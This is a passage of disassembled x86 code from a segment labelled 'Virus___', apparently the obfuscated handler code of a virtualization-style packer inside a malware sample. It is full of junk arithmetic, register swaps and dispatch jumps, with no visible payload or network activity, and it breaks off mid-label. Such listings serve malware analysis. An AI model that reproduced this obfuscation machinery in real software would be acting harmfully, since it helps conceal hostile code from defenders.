--------------------------------------------------------------------------- loc_579052: ; CODE XREF: Virus___:0057D845j mov ecx, [esp] jmp loc_57AD6A ; --------------------------------------------------------------------------- loc_57905A: ; CODE XREF: Virus___:005787B7j add esi, edi add esi, 68EB1F3Dh pop edi jmp loc_57BAA6 ; --------------------------------------------------------------------------- push ecx push ebp push 77A6551Ah mov ebp, [esp] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_574AF9 ; --------------------------------------------------------------------------- loc_579082: ; CODE XREF: Virus___:00575BF1j add esi, 0FFFFFFFFh neg esi and esi, 7B434B85h xor esi, 67094DCAh shl esi, 5 shr esi, 8 push 0DFAh mov [esp], esi not dword ptr [esp] pop esi sub esi, 0FFFFFFFFh jmp loc_574DE4 ; --------------------------------------------------------------------------- loc_5790B0: ; CODE XREF: Virus___:00574C0Fj pop ebx add edi, 2 push 1FD8h jmp loc_57BA50 ; --------------------------------------------------------------------------- loc_5790BE: ; CODE XREF: Virus___:00572C7Bj mov edi, [esp] add esp, 4 push esi mov esi, 4 add edi, esi jmp loc_5789EF ; --------------------------------------------------------------------------- loc_5790D1: ; CODE XREF: Virus___:00576F1Aj pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ebp mov ebp, 57AD4DB6h sub ebp, 54691AF5h dec ebp and ebp, 6356F9Dh not ebp shl ebp, 6 add ebp, 92820145h add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_5775A2 ; --------------------------------------------------------------------------- loc_57910A: ; CODE XREF: Virus___:00575D0Aj add ebx, 2500D5C2h xor edx, ebx pop ebx add edi, edx pop edx jmp loc_5761AF ; --------------------------------------------------------------------------- loc_57911B: ; CODE XREF: Virus___:0057A353j pop ebp add edx, 2 jmp loc_57BBA0 ; --------------------------------------------------------------------------- loc_579124: ; CODE XREF: Virus___:0057B83Ej jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579129: ; CODE XREF: Virus___:00579E82j mov ebp, [esp] add esp, 4 jmp loc_57A1ED ; --------------------------------------------------------------------------- loc_579137: ; CODE XREF: Virus___:0057B98Fj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57913C: ; CODE XREF: Virus___:00576E70j xor eax, esi jmp loc_579684 ; --------------------------------------------------------------------------- loc_579143: ; CODE XREF: Virus___:00574EA3j shl ebx, 2 or ebx, 4BB463E2h jmp loc_57DB4D ; --------------------------------------------------------------------------- loc_579151: ; CODE XREF: Virus___:005799A7j sub ecx, 0DBFEF2ECh jmp loc_57A70C ; --------------------------------------------------------------------------- loc_57915C: ; CODE XREF: Virus___:00577862j pop ecx inc esi sub esi, 3DD804F2h mov ebx, esi jmp loc_573CB3 ; --------------------------------------------------------------------------- loc_57916B: ; CODE XREF: Virus___:0057D124j sub edi, 456864DAh jmp loc_57A45D ; --------------------------------------------------------------------------- loc_579176: ; CODE XREF: Virus___:0057EEDAj mov [esp], ebx mov bh, 6Dh add al, 0B6h push edx jmp loc_57D62A ; --------------------------------------------------------------------------- loc_579183: ; CODE XREF: Virus___:005784E0j mov esi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp xor ebx, eax mov dx, [esp] push 4E00h mov [esp], edi mov edi, esp push ecx mov ecx, 77885BCAh xor ecx, 77885BCEh jmp loc_574F66 ; --------------------------------------------------------------------------- loc_5791B7: ; CODE XREF: Virus___:0057676Dj push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] shr ecx, 0 or eax, eax jz loc_576B6D push ebx push 1AD0h mov [esp], ebp push edi jmp loc_57F014 ; --------------------------------------------------------------------------- loc_5791E5: ; CODE XREF: Virus___:005750C6j add ebp, 8054613Ah xor esi, ebp pop ebp mov ebx, esi pop esi sub ebx, 5A4F7677h jmp loc_57EC8C ; --------------------------------------------------------------------------- loc_5791FC: ; CODE XREF: Virus___:0057777Fj mov edi, esp add edi, 4 jmp loc_5761C8 ; --------------------------------------------------------------------------- loc_579209: ; CODE XREF: Virus___:00575245j and esi, edi jmp loc_574828 ; --------------------------------------------------------------------------- loc_579210: ; CODE XREF: Virus___:0057E39Dj sub esp, 4 push esp pop dword ptr [esp] jmp loc_574F8F ; --------------------------------------------------------------------------- loc_57921F: ; CODE XREF: Virus___:00574DDFj xchg ebp, [esp] jmp loc_574AE2 ; --------------------------------------------------------------------------- loc_579227: ; CODE XREF: Virus___:00579B78j sub esi, eax pop eax add esi, edx add esi, 43C576FDh jmp loc_57B9AC ; --------------------------------------------------------------------------- loc_579237: ; CODE XREF: Virus___:0057824Ej push ecx mov ch, 0E4h jmp loc_575E0E ; --------------------------------------------------------------------------- loc_57923F: ; CODE XREF: Virus___:00573B7Aj push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 jmp loc_57D419 ; --------------------------------------------------------------------------- mov cx, [esp] push 780Ch mov [esp], ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_57A0DB ; --------------------------------------------------------------------------- loc_579273: ; CODE XREF: Virus___:0057BFE3j mov ecx, 2327583Ch add ecx, 0D75ECB10h add edx, ecx jmp loc_574E49 ; --------------------------------------------------------------------------- loc_579285: ; CODE XREF: Virus___:00578538j pop ebp jmp loc_57DB5F ; --------------------------------------------------------------------------- loc_57928B: ; CODE XREF: Virus___:00574C7Fj mov [esp], edx mov edx, 6132055Ah sub ebx, edx mov edx, [esp] add esp, 4 add ebx, 6B667F69h jmp loc_57D028 ; --------------------------------------------------------------------------- loc_5792A9: ; CODE XREF: Virus___:00573B5Aj xchg ebx, [esp] pop esp jmp loc_57CD9A ; --------------------------------------------------------------------------- loc_5792B2: ; CODE XREF: Virus___:005748E5j xor ecx, edi xor edi, ecx not ecx push edi push 4426h mov [esp], ecx pop edi pop ecx push 699Dh mov [esp], eax push edi mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_57A372 ; --------------------------------------------------------------------------- loc_5792DD: ; CODE XREF: Virus___:00579303j sub dh, 0C6h mov bh, dh jmp loc_572CDE ; --------------------------------------------------------------------------- loc_5792E7: ; CODE XREF: Virus___:005788EBj add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_57CBF8 ; --------------------------------------------------------------------------- loc_579300: ; CODE XREF: Virus___:00578328j or dh, 63h jmp loc_5792DD ; --------------------------------------------------------------------------- loc_579308: ; CODE XREF: Virus___:0057C3CAj inc ebp jmp loc_57AEA7 ; --------------------------------------------------------------------------- loc_57930E: ; CODE XREF: Virus___:0057C66Dj mov [esp], edx sub esp, 2 mov [esp], ax mov ah, 11h jmp loc_57A615 ; --------------------------------------------------------------------------- loc_57931F: ; CODE XREF: Virus___:005782E5j dec ecx jmp loc_57C690 ; --------------------------------------------------------------------------- loc_579325: ; CODE XREF: Virus___:0057E213j push ebp push ebx mov ebx, 54BB464Fh mov ebp, ebx jmp loc_579785 ; --------------------------------------------------------------------------- loc_579333: ; CODE XREF: Virus___:00576E1Dj sub ebx, 0A6AD54ADh mov edx, ebx pop ebx jmp loc_57E648 ; --------------------------------------------------------------------------- loc_579341: ; CODE XREF: Virus___:0057A458j xchg ebx, [esp] mov esp, [esp] mov [esp], cx movzx cx, al jmp loc_57EC1C ; --------------------------------------------------------------------------- loc_579354: ; CODE XREF: Virus___:0057750Fj sub eax, ebp pop ebp sub eax, 2AE01C3h sub esp, 4 mov [esp], edx jmp loc_574779 ; --------------------------------------------------------------------------- loc_57936A: ; CODE XREF: Virus___:005737CFj xor bh, cl pop ecx or bh, 85h inc bh xchg al, bh not al inc al push ecx mov ch, al push 6E82h mov [esp], ecx mov ch, bh mov al, ch pop ecx jmp loc_57670C ; --------------------------------------------------------------------------- loc_57938D: ; CODE XREF: Virus___:0057940Bj pop ebx pop ecx add eax, ebp jmp loc_57EDF2 ; --------------------------------------------------------------------------- loc_579396: ; CODE XREF: Virus___:0057ED7Fj dec cl or cl, 25h and cl, 37h xor cl, 26h sub cl, 77h jmp loc_579E1A ; --------------------------------------------------------------------------- loc_5793A9: ; CODE XREF: Virus___:005789E4j add eax, 2 xor eax, [esp] xor [esp], eax jmp loc_573CB9 ; --------------------------------------------------------------------------- loc_5793B9: ; CODE XREF: Virus___:0057D4E0j pop dword ptr [esp] pop esp div cl movzx cx, ah push small 2481h jmp loc_57E7D3 ; --------------------------------------------------------------------------- loc_5793CC: ; CODE XREF: Virus___:00572CBFj xor esi, edi pop edi xor ebx, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_572F8D ; --------------------------------------------------------------------------- loc_5793E0: ; CODE XREF: Virus___:0057966Bj pop ecx mov bh, 97h sub bh, dh pop edx sub esp, 4 mov [esp], ecx mov ch, bh jmp loc_5795E8 ; --------------------------------------------------------------------------- loc_5793F6: ; CODE XREF: Virus___:0057E9A1j xchg ecx, [esp] jmp loc_57EAE9 ; --------------------------------------------------------------------------- loc_5793FE: ; CODE XREF: Virus___:0057863Fj pop eax jmp loc_57626B ; --------------------------------------------------------------------------- loc_579404: ; CODE XREF: Virus___:00575076j mov [esp], ebx mov ebx, ecx mov ebp, ebx jmp loc_57938D ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push edi push esp pop edi push 4613h mov [esp], esi push ebp mov ebp, 4 mov esi, ebp pop ebp add edi, 15050525h add edi, esi sub edi, 15050525h mov esi, [esp] add esp, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_578D8B ; --------------------------------------------------------------------------- loc_57944C: ; CODE XREF: Virus___:00575511j pop esp mov [esp], ebp mov ebp, 535A7AFBh jmp loc_57D633 ; --------------------------------------------------------------------------- loc_57945A: ; CODE XREF: Virus___:005763A2j xor [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_57820C ; --------------------------------------------------------------------------- loc_579469: ; CODE XREF: Virus___:00573170j mov eax, 4E9B7776h mov edx, 137DCD33h add edx, eax pop eax inc edx not edx sub edx, 36107DD8h dec edx sub edx, 9A6D62Bh and ecx, edx pop edx inc ecx xor ecx, 44054245h sub ebx, ecx jmp loc_57EC7E ; --------------------------------------------------------------------------- loc_579497: ; CODE XREF: Virus___:0057348Aj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_57CCD9 ; --------------------------------------------------------------------------- loc_5794A8: ; CODE XREF: Virus___:00576E24j add esi, 4 jmp loc_576BB3 ; --------------------------------------------------------------------------- loc_5794B3: ; CODE XREF: Virus___:00579B4Bj pop esp jmp loc_57510C ; --------------------------------------------------------------------------- loc_5794B9: ; CODE XREF: Virus___:00578804j add edi, eax jmp loc_57D292 ; --------------------------------------------------------------------------- loc_5794C0: ; CODE XREF: Virus___:0057967Fj push 670Bh mov [esp], ebx jmp loc_576E16 ; --------------------------------------------------------------------------- loc_5794CD: ; CODE XREF: Virus___:00577A33j mov edx, 13081FAAh add ebx, edx pop edx sub ebx, 596555CAh push eax mov eax, 59AB50BAh shr eax, 5 push edx mov edx, 0D0731D7h sub edx, 0C9F6C33Ch or eax, edx jmp loc_5774E3 ; --------------------------------------------------------------------------- loc_5794F7: ; CODE XREF: Virus___:0057A92Cj add ebx, 2 xchg ebx, [esp] pop esp rol byte ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579507: ; CODE XREF: Virus___:005749C8j mov edi, 2 jmp loc_574317 ; --------------------------------------------------------------------------- loc_579511: ; CODE XREF: Virus___:00572D27j add esp, 4 jmp loc_57C74C ; --------------------------------------------------------------------------- loc_57951C: ; CODE XREF: Virus___:0057C2BBj push ebp jmp loc_57DA6F ; --------------------------------------------------------------------------- loc_579522: ; CODE XREF: Virus___:0057E573j mov eax, [esp] jmp loc_573223 ; --------------------------------------------------------------------------- loc_57952A: ; CODE XREF: Virus___:00572BF2j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push eax push esp pop eax add eax, 4 push 138Ah mov [esp], ebp mov ebp, 4 add eax, ebp push dword ptr [esp] pop ebp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_579AC3 ; --------------------------------------------------------------------------- loc_57956A: ; CODE XREF: Virus___:0057D2BCj pop edi push esi mov esi, 21D51ED5h and esi, 262D43D7h inc esi xor esi, 2CF2DCDBh add ebp, 72B76570h sub ebp, esi sub ebp, 72B76570h mov esi, [esp] push edx mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp] pop esp shr ebp, 3 push ebx mov ebx, 39580A8Bh or ebp, ebx jmp loc_573CC5 ; --------------------------------------------------------------------------- loc_5795B5: ; CODE XREF: Virus___:005799F7j mov [esp], ebx jmp loc_579E4E ; --------------------------------------------------------------------------- loc_5795BD: ; CODE XREF: Virus___:0057B578j or eax, 631973DDh add eax, 6FF61F33h not eax add eax, 0DBB61F33h mov ebp, eax pop eax add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx jmp loc_576F42 ; --------------------------------------------------------------------------- loc_5795DF: ; CODE XREF: Virus___:00578BE7j shl byte ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5795E8: ; CODE XREF: Virus___:005793F1j push ebx jmp loc_57846D ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_57C030 ; --------------------------------------------------------------------------- loc_5795F6: ; CODE XREF: Virus___:0057E31Ej mov edx, [esp] jmp loc_57C976 ; --------------------------------------------------------------------------- loc_5795FE: ; CODE XREF: Virus___:0057554Bj add ch, bl jmp loc_578300 ; --------------------------------------------------------------------------- loc_579605: ; CODE XREF: Virus___:0057D442j sub esp, 4 jmp loc_57D7C9 ; --------------------------------------------------------------------------- loc_579610: ; CODE XREF: Virus___:0057B0CCj sub esp, 4 mov [esp], eax mov eax, 4 add dword ptr [esp+4], 60A402B4h add [esp+4], eax sub dword ptr [esp+4], 60A402B4h pop eax pop eax jmp loc_57B5C9 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_57D020 ; --------------------------------------------------------------------------- loc_57964B: ; CODE XREF: Virus___:0057B547j add ch, 80h add dl, ch pop ecx add al, dl pop edx add al, 96h push ecx mov cl, 0D9h add al, cl pop ecx push edx sub esp, 4 mov [esp], ebx push edx push ecx mov cl, 90h mov dh, 88h add dh, cl jmp loc_5793E0 ; --------------------------------------------------------------------------- loc_579670: ; CODE XREF: Virus___:005735A2j xor edi, [esp] xor [esp], edi jmp loc_5747EC ; --------------------------------------------------------------------------- loc_57967B: ; CODE XREF: Virus___:0057D0AEj pop esp push dword ptr [edi+eax*4] jmp loc_5794C0 ; --------------------------------------------------------------------------- loc_579684: ; CODE XREF: Virus___:0057913Ej mov esi, [esp] jmp loc_57BB7C ; --------------------------------------------------------------------------- loc_57968C: ; CODE XREF: Virus___:00577422j xor ecx, esi jmp loc_575C99 ; --------------------------------------------------------------------------- lodsb push 0A79h mov [esp], edx mov dh, 7Ch jmp loc_57AA5A ; --------------------------------------------------------------------------- loc_5796A3: ; CODE XREF: Virus___:00576675j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_57BCDF ; --------------------------------------------------------------------------- loc_5796B2: ; CODE XREF: Virus___:0057DB7Dj mov ebx, 3BEF16F4h jmp loc_57D13F ; --------------------------------------------------------------------------- loc_5796BC: ; CODE XREF: Virus___:0057D2FFj push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebx push edi push ebx jmp loc_575385 ; --------------------------------------------------------------------------- loc_5796D7: ; CODE XREF: Virus___:0057DFD7j mov eax, esp sub esp, 4 jmp loc_578EF0 ; --------------------------------------------------------------------------- loc_5796E1: ; CODE XREF: Virus___:00579903j sub ebx, 7E393A82h sub ebx, 72C923EDh sub ebx, eax jmp loc_576496 ; --------------------------------------------------------------------------- loc_5796F4: ; CODE XREF: Virus___:00575477j add esi, 4 jmp loc_57BCF9 ; --------------------------------------------------------------------------- loc_5796FF: ; CODE XREF: Virus___:0057C1D2j push 2E78h jmp loc_575955 ; --------------------------------------------------------------------------- loc_579709: ; CODE XREF: Virus___:0057E67Bj push 1B7Ah mov [esp], edx pop eax pop edx mov edi, [esp] add esp, 4 push 7A22h mov [esp], ebp push 353Bh mov [esp], esi push edi push 0DDF3D44h pop edi sub edi, 0FFFFFFFFh push ebp mov ebp, 0ED550D17h add edi, 4DD50DC0h sub edi, ebp sub edi, 4DD50DC0h pop ebp push edx mov edx, edi mov esi, edx jmp loc_57D3C4 ; --------------------------------------------------------------------------- loc_579752: ; CODE XREF: Virus___:0057DF09j xor ebx, [esp] mov esp, [esp] shr eax, 0Ch xor eax, ecx sub esp, 4 jmp loc_572E50 ; --------------------------------------------------------------------------- loc_579768: ; CODE XREF: Virus___:00573C88j mov ecx, edi mov edi, [esp] add esp, 4 dec ecx push esi mov esi, 2C9A50E0h jmp loc_573D4A ; --------------------------------------------------------------------------- loc_57977C: ; CODE XREF: Virus___:00575C94j sub al, 0EFh and dl, al jmp loc_5742DD ; --------------------------------------------------------------------------- loc_579785: ; CODE XREF: Virus___:0057932Ej pop ebx jmp loc_578B20 ; --------------------------------------------------------------------------- loc_57978B: ; CODE XREF: Virus___:0057CB80j add esi, edx add esi, 2FD9682Bh jmp loc_5779A4 ; --------------------------------------------------------------------------- loc_579798: ; CODE XREF: Virus___:00579012j mov ebx, [esp] push 5822h mov [esp], edx jmp loc_57D427 ; --------------------------------------------------------------------------- loc_5797A8: ; CODE XREF: Virus___:00579E15j push eax mov ah, 6Ch neg ah or ah, 21h shr ah, 7 jmp loc_5784C5 ; --------------------------------------------------------------------------- loc_5797B8: ; CODE XREF: Virus___:0057E382j mov ebp, esp add ebp, 4 push edx jmp loc_57760D ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5797CD: ; CODE XREF: Virus___:00576C78j mov [esp], ebx mov ebx, 22204D3Fh sub eax, 55B016C8h sub eax, ebx jmp loc_57B76F ; --------------------------------------------------------------------------- loc_5797E1: ; CODE XREF: Virus___:00576014j not esi shr esi, 3 jmp loc_572A09 ; --------------------------------------------------------------------------- loc_5797EB: ; CODE XREF: Virus___:005767EEj pop edi xor edi, 51971028h neg edi dec edi push ecx mov ecx, 6F4BB25Dh add edi, ecx pop ecx mov esi, edi pop edi sub edx, esi pop esi add ecx, edx pop edx jmp loc_57A67B ; --------------------------------------------------------------------------- loc_57980C: ; CODE XREF: Virus___:00577227j sub edx, 4 jmp loc_577183 ; --------------------------------------------------------------------------- loc_579817: ; CODE XREF: Virus___:005743DAj push edx mov edx, 4 add esi, edx pop edx add esi, 4 push 4F8Bh jmp loc_57A246 ; --------------------------------------------------------------------------- loc_579830: ; CODE XREF: Virus___:005770F0j pop esp jmp loc_57401E ; --------------------------------------------------------------------------- loc_579836: ; CODE XREF: Virus___:0057D8CAj add ebx, 38E86E20h sub ebx, 1FC2434Eh add ebx, eax add ebx, 1FC2434Eh sub ebx, 38E86E20h add ebx, 43E04619h mov [ebx], dl mov ebx, [esp] add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579866: ; CODE XREF: Virus___:0057EB5Fj pop eax or edi, edx pop edx jmp loc_57509C ; --------------------------------------------------------------------------- loc_57986F: ; CODE XREF: Virus___:00579FC7j push esp push dword ptr [esp] pop ebp jmp loc_57E831 ; --------------------------------------------------------------------------- loc_579879: ; CODE XREF: Virus___:0057B931j add ebp, 4 xchg ebp, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_579F02 ; --------------------------------------------------------------------------- loc_57988E: ; CODE XREF: Virus___:0057D9E5j mov ebx, 73A84B03h dec ebx add ebx, 4EA60579h jmp loc_573359 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 1A9D6800h, 3C890000h, 2BF24h, 9DE90000h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5798B7: ; CODE XREF: Virus___:0057645Aj mov edx, [esp] add esp, 4 add bl, al jmp loc_57BAB7 ; --------------------------------------------------------------------------- loc_5798C7: ; CODE XREF: Virus___:00578984j add edi, 4 xchg edi, [esp] pop esp loc_5798D1: ; CODE XREF: Virus___:0057C9E8j push 68A7h jmp loc_57851F ; --------------------------------------------------------------------------- loc_5798DB: ; CODE XREF: Virus___:00579D21j push ebp mov ebp, esp jmp loc_57E1CF ; --------------------------------------------------------------------------- loc_5798E3: ; CODE XREF: Virus___:00578665j push edx mov edx, esp jmp loc_57D5A9 ; --------------------------------------------------------------------------- loc_5798EB: ; CODE XREF: Virus___:0057A694j add eax, 776820F6h sub eax, 1 shr eax, 4 add eax, 182F2C18h sub eax, 0A95BD575h sub ebx, eax pop eax jmp loc_5796E1 ; --------------------------------------------------------------------------- loc_579908: ; CODE XREF: Virus___:0057335Aj push ebx push 62B00657h pop ebx or ebx, 1F884609h sub ebx, 4135FE4Fh mov ecx, ebx pop ebx jmp loc_57E77C ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_579EC9 push edx push edi mov edi, 3BAB5418h mov edx, edi pop edi shl edx, 2 not edx add edx, 7FD942D3h sub edx, 8967D561h sub esi, edx pop edx push 617Eh mov [esp], ecx mov ecx, 50CE39D4h or ecx, 279E499Ah dec ecx push eax mov eax, 37B653A1h or eax, 46761108h xor eax, 0C72435Eh or ecx, eax pop eax and ecx, 4A30071h push ebp jmp loc_57AA6D ; --------------------------------------------------------------------------- loc_57997F: ; CODE XREF: Virus___:0057A71Cj mov dx, [esp] push edi jmp loc_572A1A ; --------------------------------------------------------------------------- loc_579989: ; CODE XREF: Virus___:0057DBAEj mov ecx, 2Ch jmp loc_572EBE ; --------------------------------------------------------------------------- loc_579993: ; CODE XREF: Virus___:0057CBB5j pop ebp xor ebx, eax push eax jmp loc_576621 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_57BFF0 ; --------------------------------------------------------------------------- loc_5799A4: ; CODE XREF: Virus___:00573D5Cj pop esi neg ecx jmp loc_579151 ; --------------------------------------------------------------------------- loc_5799AC: ; CODE XREF: Virus___:0057AE97j mov esi, 4 sub ecx, esi pop esi push ecx jmp loc_577EAE ; --------------------------------------------------------------------------- loc_5799BA: ; CODE XREF: Virus___:005799EAj add ecx, ebp sub ecx, 5AEB731Eh pop ebp jmp loc_57380D ; --------------------------------------------------------------------------- loc_5799C8: ; CODE XREF: Virus___:00576266j push edi push esp pop edi jmp loc_57C9A6 ; --------------------------------------------------------------------------- loc_5799D0: ; CODE XREF: Virus___:00577F5Fj sub esp, 4 mov [esp], ebp mov ebp, 77B34F0h xor ebp, 77B34F2h add ecx, 5AEB731Eh jmp loc_5799BA ; --------------------------------------------------------------------------- loc_5799EF: ; CODE XREF: Virus___:0057A3B1j or ch, 3Eh push 44AFh jmp loc_5795B5 ; --------------------------------------------------------------------------- loc_5799FC: ; CODE XREF: Virus___:00575D2Ej mov edi, 7C4244E9h add esi, edi pop edi push edi mov edi, 81847EEFh sub esi, edi pop edi mov ecx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 push ebp jmp loc_57D246 ; --------------------------------------------------------------------------- loc_579A21: ; CODE XREF: Virus___:005747F2j rol dword ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579A2A: ; CODE XREF: Virus___:0057ACC5j push ecx mov ecx, esi jmp loc_577C66 ; --------------------------------------------------------------------------- loc_579A32: ; CODE XREF: Virus___:0057E9CBj add edi, 4 add edi, 2 jmp loc_57ACCA ; --------------------------------------------------------------------------- loc_579A43: ; CODE XREF: Virus___:0057D5F5j add esp, 4 loc_579A49: ; CODE XREF: Virus___:00573BD6j push ebx push dword ptr [esp] mov eax, [esp] jmp loc_573EE9 ; --------------------------------------------------------------------------- loc_579A55: ; CODE XREF: Virus___:00574F6Bj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebp jmp loc_574E02 ; --------------------------------------------------------------------------- lodsd jmp loc_57B8A5 ; --------------------------------------------------------------------------- loc_579A74: ; CODE XREF: Virus___:0057A8CEj pop ecx add eax, 3BF7BD1h jmp loc_579BA8 ; --------------------------------------------------------------------------- loc_579A7F: ; CODE XREF: Virus___:00573FAFj mov ecx, 38h add ecx, edi jmp loc_575826 ; --------------------------------------------------------------------------- loc_579A8B: ; CODE XREF: Virus___:0057B9CBj push ebp pop ebx jmp loc_57CF7A ; --------------------------------------------------------------------------- loc_579A92: ; CODE XREF: Virus___:0057ECAEj push dword ptr [esp] mov ecx, [esp] jmp loc_579B90 ; --------------------------------------------------------------------------- loc_579A9D: ; CODE XREF: Virus___:0057A0E6j mov [esp], eax mov eax, 8746192h jmp loc_57CBA5 ; --------------------------------------------------------------------------- loc_579AAA: ; CODE XREF: Virus___:00576477j pop ebp jmp loc_579BBE ; --------------------------------------------------------------------------- loc_579AB0: ; CODE XREF: Virus___:00577030j xor [esp], ebx xor ebx, [esp] mov esp, [esp] and [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579AC3: ; CODE XREF: Virus___:00579565j pop esp push eax push dword ptr [esp+4] pop eax jmp loc_57E342 ; --------------------------------------------------------------------------- loc_579ACF: ; CODE XREF: Virus___:00575234j add esp, 4 push ebp push dword ptr [esp+4] jmp loc_578163 ; --------------------------------------------------------------------------- loc_579ADF: ; CODE XREF: Virus___:0057612Ej sub esp, 4 mov [esp], esi jmp loc_574267 ; --------------------------------------------------------------------------- loc_579AED: ; CODE XREF: Virus___:0057D4DAj push eax mov eax, 4 sub edi, eax jmp loc_579E40 ; --------------------------------------------------------------------------- loc_579AFA: ; CODE XREF: Virus___:00575B44j sub dh, 30h jmp near ptr unk_573C3B ; --------------------------------------------------------------------------- loc_579B02: ; CODE XREF: Virus___:0057A452j add ecx, edx jmp loc_57D380 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_57E680 ; --------------------------------------------------------------------------- loc_579B11: ; CODE XREF: Virus___:0057DEBCj sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov ecx, esp jmp loc_576D07 ; --------------------------------------------------------------------------- loc_579B22: ; CODE XREF: Virus___:00576B59j add edx, 2 xchg edx, [esp] pop esp sub bl, 6Ch sub esp, 2 mov [esp], ax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5794B3 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push esi mov esi, esp jmp loc_57EC51 ; --------------------------------------------------------------------------- loc_579B5C: ; CODE XREF: Virus___:00577DB4j mov esp, [esp] btr [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579B6A: ; CODE XREF: Virus___:0057AB02j add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_57E3E4 ; --------------------------------------------------------------------------- loc_579B77: ; CODE XREF: Virus___:005777F8j pop ebp jmp loc_579227 ; --------------------------------------------------------------------------- mov ax, [esp] push 62E3h mov [esp], edx mov edx, esp jmp loc_575B7B ; --------------------------------------------------------------------------- loc_579B90: ; CODE XREF: Virus___:00579A98j add esp, 4 push eax push 75F3h jmp loc_574CA4 ; --------------------------------------------------------------------------- loc_579BA1: ; CODE XREF: Virus___:00578248j sub ebp, ecx jmp loc_57BB4E ; --------------------------------------------------------------------------- loc_579BA8: ; CODE XREF: Virus___:00579A7Aj add eax, ebp sub eax, 3BF7BD1h push dword ptr [esp] pop ebp add esp, 4 jmp loc_57629A ; --------------------------------------------------------------------------- loc_579BBE: ; CODE XREF: Virus___:00579AABj movzx ax, byte ptr [eax] push eax push esp mov eax, [esp] jmp loc_576DEA ; --------------------------------------------------------------------------- loc_579BCC: ; CODE XREF: Virus___:0057BFABj pop eax push 1D7Dh mov [esp], eax jmp loc_578278 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579BE9: ; CODE XREF: Virus___:0057E7ABj mov [esp], eax push esp pop eax push ecx push edx mov edx, 0D3D142Ch mov ecx, edx pop edx dec ecx jmp loc_57667A ; --------------------------------------------------------------------------- mov eax, [esp] push edx mov edx, esp add edx, 4 push eax mov eax, 4 push edi jmp loc_57B8B6 ; --------------------------------------------------------------------------- loc_579C16: ; CODE XREF: Virus___:0057CF29j add [esp+4], edx sub dword ptr [esp+4], 68A95BD0h pop edx push dword ptr [esp] pop esi jmp loc_57E323 ; --------------------------------------------------------------------------- loc_579C2C: ; CODE XREF: Virus___:005784FCj xor edx, 4D56633Fh sub ebp, edx pop edx pop ebx jmp loc_57E93F ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push eax jmp loc_57A303 ; --------------------------------------------------------------------------- loc_579C5E: ; CODE XREF: Virus___:00573766j mov dl, 37h sub dl, 39h dec dl jmp loc_57594D ; --------------------------------------------------------------------------- loc_579C6A: ; CODE XREF: Virus___:00575EA9j mov [esp], eax jmp loc_57ECF2 ; --------------------------------------------------------------------------- lodsd push ecx jmp loc_577260 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_57D1EB ; --------------------------------------------------------------------------- loc_579C8B: ; CODE XREF: Virus___:005738FFj inc edx push ebx mov ebx, 96A2E60h jmp loc_57E7B0 ; --------------------------------------------------------------------------- loc_579C97: ; CODE XREF: Virus___:005746E7j push dword ptr [esp] pop edi push edx push esp pop edx push edi mov edi, 4 add edx, edi pop edi push esi jmp loc_57B904 ; --------------------------------------------------------------------------- loc_579CAD: ; CODE XREF: 